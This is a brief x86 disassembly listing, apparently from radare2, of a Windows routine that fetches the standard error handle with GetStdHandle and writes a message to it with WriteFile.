lea eax, [ebp - 0xa0]
push 0x4beaf4
push eax
call fcn.004bc5e2
add esp, 0x2c
pop edi
jmp 0x4baba4
lea eax, [ebp + 8]
lea esi, [esi + 0x4c449c]
push 0
push eax
push dword [esi]
call fcn.004bbcb0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret